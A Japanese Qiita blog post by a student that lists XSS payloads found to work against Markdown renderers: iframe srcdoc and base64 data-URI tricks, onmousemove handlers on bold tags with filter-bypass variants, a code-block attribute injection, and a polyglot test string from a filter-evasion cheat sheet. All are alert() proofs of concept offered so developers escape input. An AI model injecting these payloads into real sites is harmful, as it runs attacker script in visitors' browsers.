Help us understand the problem. What is going on with this article?

俺的MarkdownにおけるXSS

More than 1 year has passed since last update.

はじめに

Markdown便利ですよね。QiitaやGutHubなど主要なサービスでは主にMarkdownを使って記事の投稿だったり、中~長文を投稿するときにはよく使われていますよね

でもユーザーにWebページに投稿するときに気をつけないといけないのはXSS

インターンシップなどで学生が作ったサイトとかだと大体6割はXSSできちゃいます。(とか言う自分も学生なんですけどね!)

ここでは私個人が経験したXSSについて色々紹介したいと思います。

追記
書いてて思ったけど、Markdownあんまり関係ないです。

いってみよぉ!

HTML編

まず最初はこちら!

XSS.Markdown
<iframe srcdoc="<script>alert('XSS');</script>"></iframe>

メディア系の要素が使えてしまうパターン。
なんと言うか、これが使える場合は大体入力をそのまま何もエスケープせずに出力しているパターンが多いです。

ちなみにこういうパターンもあります。属性内部の文字列「<」や「>」だけがエスケープされていても下記のようにBase64でエスケープされずに通る場合もあります。

XSS.Markdown
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">

他にもvideo要素だったりaudio要素などもエスケープしましょう。
あずにゃんのキャラソンが勝手に再生されたりしちゃいます。

次はちょっと変わって装飾系要素について

Markdownを書いてて文字を太くしたりするときありますよね
そのときに出てくるのが<b>Hoge</b>要素ですね
これも実はXSSできるんです。

XSS.Markdown
<b onmousemove="alert('XSS')">XSS!</b>

マウスをXSSという文字列に持っていくとJavascriptが実行されます。

わざわざ文字列の場所にマウスを持っていかないといけないと、限定的だと思われますが、こういう場合は大体style属性も使えてしまうのでこうすれば画面のどこかにマウスを持っていけば実行されちゃったりするんです。

XSS.Markdown
<b onmousemove="alert('XSS')" style="padding: 10000px;margin: -10000px;">XSS</b>

また、<b nomouseとbとnの間の空白があるので空白をエスケープしても下記の方法で実行できる場合もあります。

XSS.Markdown
<b/onmousemove="alert('XSS')">XSS!</b>

Markdown編

Markdownの脆弱性はコード関係に多い印象です。

これは挙動がMarkdownの実装によって異なってきます。
実際にできたパターンを紹介したいと思います。
xss.png

HTMLではどのような挙動になっているかと言うと

XSS.html
<code lang="py" onmousemove='alert("XSS")'>
print(0)
</code>

こんな感じでXSSできちゃいます
(Qiitaにもその昔あったとか・・・?)

コピペでできる脆弱性診断

便利な奴があるので貼っときますね。
とはいえ簡易的なものなので過信はしないようにおねがいします

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

XSS フィルター回避チートシートより

XSSについてもっと知りたい!

こちらのチートシートをよく見ると良いと思います。

XSS フィルター回避チートシート

「Markdown XSS」
「Qiita XSS」
などで検索すると色々出てきて面白いです。

とりあえず、自分が最近できたXSSを羅列しました。Markdownを実装するときは意識していきましょう。

Azunyan1111
#seccamp 18 18Y 16F/Golang/Webセキュリティ/サイバー犯罪/Tor研究&Torサービス運営/ゲーム会社
https://blog.azunyan1111.com/
naxa
弊社では、ウェブアプリケーションのサーバサイド、アプリ、インフラにおける受託開発やコンサルティングをお受けしています。
https://www.naxa.co.jp
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした